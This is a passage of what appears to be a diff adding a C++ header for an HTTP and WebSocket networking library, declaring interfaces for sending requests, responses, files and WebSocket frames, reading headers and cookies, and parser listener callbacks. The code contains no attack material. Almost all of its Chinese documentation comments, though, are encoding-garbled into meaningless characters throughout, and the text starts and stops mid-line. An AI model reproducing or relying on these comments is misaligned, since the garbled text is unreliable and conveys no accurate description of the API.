RSV1/RSV2/RSV3 鍚 1 浣 + * iOperationCode -- 鎿嶄綔鐮侊細0x0 - 0xF + * pData -- 娑堟伅浣撴暟鎹紦鍐插尯 + * iLength -- 娑堟伅浣撴暟鎹暱搴 + * ullBodyLen -- 娑堟伅鎬婚暱搴 + * ullBodyLen = 0 -> 娑堟伅鎬婚暱搴︿负 iLength + * ullBodyLen = iLength -> 娑堟伅鎬婚暱搴︿负 ullBodyLen + * ullBodyLen > iLength -> 娑堟伅鎬婚暱搴︿负 ullBodyLen锛屽悗缁秷鎭綋闀垮害涓 ullBOdyLen - iLength锛屽悗缁秷鎭綋閫氳繃搴曞眰鏂规硶 Send() / SendPackets() 鍙戦 + * ullBodyLen < iLength -> 閿欒鍙傛暟锛屽彂閫佸け璐 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendWSMessage(CONNID dwConnID, BOOL bFinal, BYTE iReserved, BYTE iOperationCode, const BYTE* pData = nullptr, int iLength = 0, ULONGLONG ullBodyLen = 0) = 0; + + /* + * 鍚嶇О锛氬洖澶嶈姹 + * 鎻忚堪锛氬悜瀹㈡埛绔洖澶 HTTP 璇锋眰 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * usStatusCode -- HTTP 鐘舵佺爜 + * lpszDesc -- HTTP 鐘舵佹弿杩 + * lpHeaders -- 鍥炲璇锋眰澶 + * iHeaderCount -- 鍥炲璇锋眰澶存暟閲 + * pData -- 鍥炲璇锋眰浣 + * iLength -- 鍥炲璇锋眰浣撻暱搴 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendResponse(CONNID dwConnID, USHORT usStatusCode, LPCSTR lpszDesc = nullptr, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0, const BYTE* pData = nullptr, int iLength = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佹湰鍦版枃浠 + * 鎻忚堪锛氬悜鎸囧畾杩炴帴鍙戦 4096 KB 浠ヤ笅鐨勫皬鏂囦欢 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * lpszFileName -- 鏂囦欢璺緞 + * usStatusCode -- HTTP 鐘舵佺爜 + * lpszDesc -- HTTP 鐘舵佹弿杩 + * lpHeaders -- 鍥炲璇锋眰澶 + * iHeaderCount -- 鍥炲璇锋眰澶存暟閲 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendLocalFile(CONNID dwConnID, LPCSTR lpszFileName, USHORT usStatusCode = HSC_OK, LPCSTR lpszDesc = nullptr, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + + /* + * 鍚嶇О锛氶噴鏀捐繛鎺 + * 鎻忚堪锛氭妸杩炴帴鏀惧叆閲婃斁闃熷垪锛岀瓑寰呮煇涓椂闂达紙閫氳繃 SetReleaseDelay() 璁剧疆锛夊叧闂繛鎺 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL Release(CONNID dwConnID) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 鑾峰彇涓绘満 */ + virtual LPCSTR GetHost(CONNID dwConnID) = 0; + + /* 璁剧疆杩炴帴閲婃斁寤舵椂锛堥粯璁わ細3000 姣锛 */ + virtual void SetReleaseDelay(DWORD dwReleaseDelay) = 0; + /* 鑾峰彇杩炴帴閲婃斁寤舵椂 */ + virtual DWORD GetReleaseDelay() = 0; + + /* 鑾峰彇璇锋眰琛 URL 鍩熸帺鐮侊紙URL 鍩熷弬鑰冿細EnHttpUrlField锛 */ + virtual USHORT GetUrlFieldSet(CONNID dwConnID) = 0; + /* 鑾峰彇鏌愪釜 URL 鍩熷 */ + virtual LPCSTR GetUrlField(CONNID dwConnID, EnHttpUrlField enField) = 0; + /* 鑾峰彇璇锋眰鏂规硶 */ + virtual LPCSTR GetMethod(CONNID dwConnID) = 0; +}; + +/************************************************************************ +鍚嶇О锛氱畝鍗 HTTP 缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 绠鍗 HTTP 缁勪欢鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IHttp +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬彂閫 WebSocket 娑堟伅 + * 鎻忚堪锛氬悜瀵圭绔彂閫 WebSocket 娑堟伅 + * + * 鍙傛暟锛 bFinal -- 鏄惁缁撴潫甯 + * iReserved -- RSV1/RSV2/RSV3 鍚 1 浣 + * iOperationCode -- 鎿嶄綔鐮侊細0x0 - 0xF + * lpszMask -- 鎺╃爜锛坣ullptr 鎴 4 瀛楄妭鎺╃爜锛屽鏋滀负 nullptr 鍒欐病鏈夋帺鐮侊級 + * pData -- 娑堟伅浣撴暟鎹紦鍐插尯 + * iLength -- 娑堟伅浣撴暟鎹暱搴 + * ullBodyLen -- 娑堟伅鎬婚暱搴 + * ullBodyLen = 0 -> 娑堟伅鎬婚暱搴︿负 iLength + * ullBodyLen = iLength -> 娑堟伅鎬婚暱搴︿负 ullBodyLen + * ullBodyLen > iLength -> 娑堟伅鎬婚暱搴︿负 ullBodyLen锛屽悗缁秷鎭綋闀垮害涓 ullBOdyLen - iLength锛屽悗缁秷鎭綋閫氳繃搴曞眰鏂规硶 Send() / SendPackets() 鍙戦 + * ullBodyLen < iLength -> 閿欒鍙傛暟锛屽彂閫佸け璐 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendWSMessage(BOOL bFinal, BYTE iReserved, BYTE iOperationCode, const BYTE lpszMask[4], const BYTE* pData = nullptr, int iLength = 0, ULONGLONG ullBodyLen = 0) = 0; + + /* + * 鍚嶇О锛氬惎鍔 HTTP 閫氫俊 + * 鎻忚堪锛氬綋閫氫俊缁勪欢璁剧疆涓洪潪鑷姩鍚姩 HTTP 閫氫俊鏃讹紝闇瑕佽皟鐢ㄦ湰鏂规硶鍚姩 HTTP 閫氫俊 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL StartHttp() = 0; + + /* + * 鍚嶇О锛氬彂閫 Chunked 鏁版嵁鍒嗙墖 + * 鎻忚堪锛氬悜瀵圭鍙戦 Chunked 鏁版嵁鍒嗙墖 + * + * 鍙傛暟锛 pData -- Chunked 鏁版嵁鍒嗙墖 + * iLength -- 鏁版嵁鍒嗙墖闀垮害锛堜负 0 琛ㄧず缁撴潫鍒嗙墖锛 + * lpszExtensions -- 鎵╁睍灞炴э紙榛樿锛歯ullptr锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendChunkData(const BYTE* pData = nullptr, int iLength = 0, LPCSTR lpszExtensions = nullptr) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏈湴鍗忚鐗堟湰 */ + virtual void SetLocalVersion(EnHttpVersion usVersion) = 0; + /* 鑾峰彇鏈湴鍗忚鐗堟湰 */ + virtual EnHttpVersion GetLocalVersion() = 0; + + /* 妫鏌ユ槸鍚﹀崌绾у崗璁 */ + virtual BOOL IsUpgrade() = 0; + /* 妫鏌ユ槸鍚︽湁 Keep-Alive 鏍囪瘑 */ + virtual BOOL IsKeepAlive() = 0; + /* 鑾峰彇鍗忚鐗堟湰 */ + virtual USHORT GetVersion() = 0; + /* 鑾峰彇鍐呭闀垮害 */ + virtual ULONGLONG GetContentLength() = 0; + /* 鑾峰彇鍐呭绫诲瀷 */ + virtual LPCSTR GetContentType() = 0; + /* 鑾峰彇鍐呭缂栫爜 */ + virtual LPCSTR GetContentEncoding() = 0; + /* 鑾峰彇浼犺緭缂栫爜 */ + virtual LPCSTR GetTransferEncoding() = 0; + /* 鑾峰彇鍗忚鍗囩骇绫诲瀷 */ + virtual EnHttpUpgradeType GetUpgradeType() = 0; + /* 鑾峰彇瑙f瀽閿欒浠g爜 */ + virtual USHORT GetParseErrorCode(LPCSTR* lpszErrorDesc = nullptr) = 0; + + /* 鑾峰彇 HTTP 鐘舵佺爜 */ + virtual USHORT GetStatusCode() = 0; + + /* 鑾峰彇鏌愪釜璇锋眰澶达紙鍗曞硷級 */ + virtual BOOL GetHeader(LPCSTR lpszName, LPCSTR* lpszValue) = 0; + /* 鑾峰彇鏌愪釜璇锋眰澶达紙澶氬硷級 */ + virtual BOOL GetHeaders(LPCSTR lpszName, LPCSTR lpszValue[], DWORD& dwCount) = 0; + /* 鑾峰彇鎵鏈夎姹傚ご */ + virtual BOOL GetAllHeaders(THeader lpHeaders[], DWORD& dwCount) = 0; + /* 鑾峰彇鎵鏈夎姹傚ご鍚嶇О */ + virtual BOOL GetAllHeaderNames(LPCSTR lpszName[], DWORD& dwCount) = 0; + + /* 鑾峰彇 Cookie */ + virtual BOOL GetCookie(LPCSTR lpszName, LPCSTR* lpszValue) = 0; + /* 鑾峰彇鎵鏈 Cookie */ + virtual BOOL GetAllCookies(TCookie lpCookies[], DWORD& dwCount) = 0; + + /* + // !! maybe implemented in future !! // + + virtual BOOL GetParam(LPCSTR lpszName, LPCSTR* lpszValue) = 0; + virtual BOOL GetParams(LPCSTR lpszName, LPCSTR lpszValue[], DWORD& dwCount) = 0; + virtual BOOL GetAllParams(LPPARAM lpszParam[], DWORD& dwCount) = 0; + virtual BOOL GetAllParamNames(LPCSTR lpszName[], DWORD& dwCount) = 0; + */ + + /* 鑾峰彇褰撳墠 WebSocket 娑堟伅鐘舵侊紝浼犲叆 nullptr 鍒欎笉鑾峰彇鐩稿簲瀛楁 */ + virtual BOOL GetWSMessageState(BOOL* lpbFinal, BYTE* lpiReserved, BYTE* lpiOperationCode, LPCBYTE* lpszMask, ULONGLONG* lpullBodyLen, ULONGLONG* lpullBodyRemain) = 0; + + /* 璁剧疆 HTTP 鍚姩鏂瑰紡锛堥粯璁わ細TRUE锛岃嚜鍔ㄥ惎鍔級 */ + virtual void SetHttpAutoStart(BOOL bAutoStart) = 0; + /* 鑾峰彇 HTTP 鍚姩鏂瑰紡 */ + virtual BOOL IsHttpAutoStart() = 0; + +public: + virtual ~IHttp() {} +}; + +/************************************************************************ +鍚嶇О锛氱畝鍗 Http 璇锋眰鑰呯粍浠舵帴鍙 +鎻忚堪锛氬畾涔夌畝鍗 Http 璇锋眰鑰呯粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IHttpRequester : public IHttp +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬彂閫佽姹 + * 鎻忚堪锛氬悜鏈嶅姟绔彂閫 HTTP 璇锋眰 + * + * 鍙傛暟锛 lpszMethod -- 璇锋眰鏂规硶 + * lpszPath -- 璇锋眰璺緞 + * lpHeaders -- 璇锋眰澶 + * iHeaderCount -- 璇锋眰澶存暟閲 + * pBody -- 璇锋眰浣 + * iLength -- 璇锋眰浣撻暱搴 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendRequest(LPCSTR lpszMethod, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0, const BYTE* pBody = nullptr, int iLength = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佹湰鍦版枃浠 + * 鎻忚堪锛氬悜鎸囧畾杩炴帴鍙戦 4096 KB 浠ヤ笅鐨勫皬鏂囦欢 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * lpszFileName -- 鏂囦欢璺緞 + * lpszMethod -- 璇锋眰鏂规硶 + * lpszPath -- 璇锋眰璺緞 + * lpHeaders -- 璇锋眰澶 + * iHeaderCount -- 璇锋眰澶存暟閲 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendLocalFile(LPCSTR lpszFileName, LPCSTR lpszMethod, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + + /* 鍙戦 POST 璇锋眰 */ + virtual BOOL SendPost(LPCSTR lpszPath, const THeader lpHeaders[], int iHeaderCount, const BYTE* pBody, int iLength) = 0; + /* 鍙戦 PUT 璇锋眰 */ + virtual BOOL SendPut(LPCSTR lpszPath, const THeader lpHeaders[], int iHeaderCount, const BYTE* pBody, int iLength) = 0; + /* 鍙戦 PATCH 璇锋眰 */ + virtual BOOL SendPatch(LPCSTR lpszPath, const THeader lpHeaders[], int iHeaderCount, const BYTE* pBody, int iLength) = 0; + /* 鍙戦 GET 璇锋眰 */ + virtual BOOL SendGet(LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 DELETE 璇锋眰 */ + virtual BOOL SendDelete(LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 HEAD 璇锋眰 */ + virtual BOOL SendHead(LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 TRACE 璇锋眰 */ + virtual BOOL SendTrace(LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 OPTIONS 璇锋眰 */ + virtual BOOL SendOptions(LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 CONNECT 璇锋眰 */ + virtual BOOL SendConnect(LPCSTR lpszHost, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏄惁浣跨敤 Cookie锛堥粯璁わ細TRUE锛 */ + virtual void SetUseCookie(BOOL bUseCookie) = 0; + /* 妫鏌ユ槸鍚︿娇鐢 Cookie */ + virtual BOOL IsUseCookie() = 0; +}; + +/************************************************************************ +鍚嶇О锛氱畝鍗 Http 鍚屾璇锋眰鑰呯粍浠舵帴鍙 +鎻忚堪锛氬畾涔夌畝鍗 Http 鍚屾璇锋眰鑰呯粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IHttpSyncRequester : public IHttpRequester +{ +public: + + /* + * 鍚嶇О锛氬彂閫 URL 璇锋眰 + * 鎻忚堪锛氬悜鏈嶅姟绔彂閫 HTTP URL 璇锋眰 + * + * 鍙傛暟锛 lpszMethod -- 璇锋眰鏂规硶 + * lpszUrl -- 璇锋眰 URL + * lpHeaders -- 璇锋眰澶 + * iHeaderCount -- 璇锋眰澶存暟閲 + * pBody -- 璇锋眰浣 + * iLength -- 璇锋眰浣撻暱搴 + * bForceReconnect -- 寮哄埗閲嶆柊杩炴帴锛堥粯璁わ細FALSE锛屽綋璇锋眰 URL 鐨勪富鏈哄拰绔彛涓庣幇鏈夎繛鎺ヤ竴鑷存椂锛岄噸鐢ㄧ幇鏈夎繛鎺ワ級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL OpenUrl(LPCSTR lpszMethod, LPCSTR lpszUrl, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0, const BYTE* pBody = nullptr, int iLength = 0, BOOL bForceReconnect = FALSE) = 0; + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氭竻闄よ姹傜粨鏋 + * 鎻忚堪锛氭竻闄や笂涓娆¤姹傜殑鍝嶅簲澶村拰鍝嶅簲浣撶瓑缁撴灉淇℃伅锛堣鏂规硶浼氬湪姣忔鍙戦佽姹傚墠鑷姩璋冪敤锛 + * + * 鍙傛暟锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL CleanupRequestResult () = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆杩炴帴瓒呮椂锛堟绉掞紝0锛氱郴缁熼粯璁よ秴鏃讹紝榛樿锛5000锛 */ + virtual void SetConnectTimeout (DWORD dwConnectTimeout) = 0; + /* 璁剧疆璇锋眰瓒呮椂锛堟绉掞紝0锛氭棤闄愮瓑寰咃紝榛樿锛10000锛 */ + virtual void SetRequestTimeout (DWORD dwRequestTimeout) = 0; + + /* 鑾峰彇杩炴帴瓒呮椂 */ + virtual DWORD GetConnectTimeout () = 0; + /* 鑾峰彇璇锋眰瓒呮椂 */ + virtual DWORD GetRequestTimeout () = 0; + + /* 鑾峰彇鍝嶅簲浣 */ + virtual BOOL GetResponseBody (LPCBYTE* lpszBody, int* iLength) = 0; +}; + + +/************************************************************************ +鍚嶇О锛欻TTP 缁勪欢鎺ュ彛 +鎻忚堪锛氱户鎵夸簡 HTTP 鍜 Socket 鎺ュ彛 +************************************************************************/ +typedef DualInterface IHttpServer; +typedef DualInterface IHttpAgent; +typedef DualInterface IHttpClient; +typedef DualInterface IHttpSyncClient; + +/************************************************************************ +鍚嶇О锛欼ComplexHttp 缁勪欢鐩戝惉鍣ㄥ熀鎺ュ彛 +鎻忚堪锛氬畾涔 IComplexHttp 缁勪欢鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +template class IHttpListenerT +{ +public: + + /* + * 鍚嶇О锛氬紑濮嬭В鏋愰氱煡 + * 鎻忚堪锛氬紑濮嬭В鏋 HTTP 鎶ユ枃鏃讹紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnMessageBegin(T* pSender, CONNID dwConnID) = 0; + + /* + * 鍚嶇О锛氳姹傝瑙f瀽瀹屾垚閫氱煡锛堜粎鐢ㄤ簬 HTTP 鏈嶅姟绔級 + * 鎻忚堪锛氳姹傝瑙f瀽瀹屾垚鍚庯紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * lpszMethod -- 璇锋眰鏂规硶鍚 + * lpszUrl -- 璇锋眰琛屼腑鐨 URL 鍩 + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnRequestLine(T* pSender, CONNID dwConnID, LPCSTR lpszMethod, LPCSTR lpszUrl) = 0; + + /* + * 鍚嶇О锛氱姸鎬佽瑙f瀽瀹屾垚閫氱煡锛堜粎鐢ㄤ簬 HTTP 瀹㈡埛绔級 + * 鎻忚堪锛氱姸鎬佽瑙f瀽瀹屾垚鍚庯紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * usStatusCode -- HTTP 鐘舵佺爜 + * lpszDesc -- 鐘舵佹弿杩 + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnStatusLine(T* pSender, CONNID dwConnID, USHORT usStatusCode, LPCSTR lpszDesc) = 0; + + /* + * 鍚嶇О锛氳姹傚ご閫氱煡 + * 鎻忚堪锛氭瘡褰撹В鏋愬畬鎴愪竴涓姹傚ご鍚庯紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * lpszName -- 璇锋眰澶村悕绉 + * lpszValue -- 璇锋眰澶村 + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnHeader(T* pSender, CONNID dwConnID, LPCSTR lpszName, LPCSTR lpszValue) = 0; + + /* + * 鍚嶇О锛氳姹傚ご瀹屾垚閫氱煡 + * 鎻忚堪锛氳В鏋愬畬鎴愭墍鏈夎姹傚ご鍚庯紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_SKIP_BODY -- 璺宠繃褰撳墠璇锋眰鐨 HTTP BODY + * HPR_UPGRADE -- 鍗囩骇鍗忚 + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnHeadersComplete(T* pSender, CONNID dwConnID) = 0; + + /* + * 鍚嶇О锛欱ODY 鎶ユ枃閫氱煡 + * 鎻忚堪锛氭瘡褰撴帴鏀跺埌 HTTP BODY 鎶ユ枃锛屽悜鐩戝惉鍣ㄥ彂閫佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * pData -- 鏁版嵁缂撳啿鍖 + * iLength -- 鏁版嵁闀垮害 + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnBody(T* pSender, CONNID dwConnID, const BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛欳hunked 鎶ユ枃澶撮氱煡 + * 鎻忚堪锛氭瘡褰撹В鏋愬嚭涓涓 Chunked 鎶ユ枃澶达紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * iLength -- Chunked 鎶ユ枃浣撴暟鎹暱搴 + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnChunkHeader(T* pSender, CONNID dwConnID, int iLength) = 0; + + /* + * 鍚嶇О锛欳hunked 鎶ユ枃缁撴潫閫氱煡 + * 鎻忚堪锛氭瘡褰撹В鏋愬畬涓涓 Chunked 鎶ユ枃锛屽悜鐩戝惉鍣ㄥ彂閫佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnChunkComplete(T* pSender, CONNID dwConnID) = 0; + + /* + * 鍚嶇О锛氬畬鎴愯В鏋愰氱煡 + * 鎻忚堪锛氭瘡褰撹В鏋愬畬鎴愪竴涓畬鏁 HTTP 鎶ユ枃锛屽悜鐩戝惉鍣ㄥ彂閫佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnParserError() 鍜 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnMessageComplete(T* pSender, CONNID dwConnID) = 0; + + /* + * 鍚嶇О锛氬崌绾у崗璁氱煡 + * 鎻忚堪锛氬綋闇瑕佸崌绾у崗璁椂锛屽悜鐩戝惉鍣ㄥ彂閫佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * enUpgradeType -- 鍗忚绫诲瀷 + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnUpgrade(T* pSender, CONNID dwConnID, EnHttpUpgradeType enUpgradeType) = 0; + + /* + * 鍚嶇О锛氳В鏋愰敊璇氱煡 + * 鎻忚堪锛氬綋瑙f瀽 HTTP 鎶ユ枃閿欒鏃讹紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * iErrorCode -- 閿欒浠g爜 + * lpszErrorDesc -- 閿欒鎻忚堪 + * 杩斿洖鍊硷細 HPR_OK -- 缁х画鎵ц + * HPR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHttpParseResult OnParseError(T* pSender, CONNID dwConnID, int iErrorCode, LPCSTR lpszErrorDesc) = 0; + + /* + * 鍚嶇О锛歐ebSocket 鏁版嵁鍖呭ご閫氱煡 + * 鎻忚堪锛氬綋瑙f瀽 WebSocket 鏁版嵁鍖呭ご鏃讹紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * bFinal -- 鏄惁缁撴潫甯 + * iReserved -- RSV1/RSV2/RSV3 鍚 1 浣 + * iOperationCode -- 鎿嶄綔鐮侊細0x0 - 0xF + * lpszMask -- 鎺╃爜锛坣ullptr 鎴 4 瀛楄妭鎺╃爜锛屽鏋滀负 nullptr 鍒欐病鏈夋帺鐮侊級 + * ullBodyLen -- 娑堟伅浣撻暱搴 + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHandleResult OnWSMessageHeader(T* pSender, CONNID dwConnID, BOOL bFinal, BYTE iReserved, BYTE iOperationCode, const BYTE lpszMask[4], ULONGLONG ullBodyLen) = 0; + + /* + * 鍚嶇О锛歐ebSocket 鏁版嵁鍖呬綋閫氱煡 + * 鎻忚堪锛氬綋鎺ユ敹鍒 WebSocket 鏁版嵁鍖呬綋鏃讹紝鍚戠洃鍚櫒鍙戦佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * pData -- 娑堟伅浣撴暟鎹紦鍐插尯 + * iLength -- 娑堟伅浣撴暟鎹暱搴 + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHandleResult OnWSMessageBody(T* pSender, CONNID dwConnID, const BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛歐ebSocket 鏁版嵁鍖呭畬鎴愰氱煡 + * 鎻忚堪锛氬綋瀹屾暣鎺ユ敹涓涓 WebSocket 鏁版嵁鍖呮椂锛屽悜鐩戝惉鍣ㄥ彂閫佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHandleResult OnWSMessageComplete(T* pSender, CONNID dwConnID) = 0; + +public: + virtual ~IHttpListenerT() {} +}; + +/************************************************************************ +鍚嶇О锛欼HttpServer 缁勪欢绔洃鍚櫒鎺ュ彛 +鎻忚堪锛氬畾涔 IHttpServer 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IHttpServerListener : public IHttpListenerT, public ITcpServerListener +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛欼HttpAgent 缁勪欢绔洃鍚櫒鎺ュ彛 +鎻忚堪锛氬畾涔 IHttpAgent 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IHttpAgentListener : public IHttpListenerT, public ITcpAgentListener +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛欼HttpClient 缁勪欢绔洃鍚櫒鎺ュ彛 +鎻忚堪锛氬畾涔 IHttpClient 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IHttpClientListener : public IHttpListenerT, public ITcpClientListener +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛欼HttpServerListener 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CHttpServerListener : public IHttpServerListener +{ +public: + virtual EnHandleResult OnPrepareListen(ITcpServer* pSender, SOCKET soListen) {return HR_IGNORE;} + virtual EnHandleResult OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(ITcpServer* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpServer* 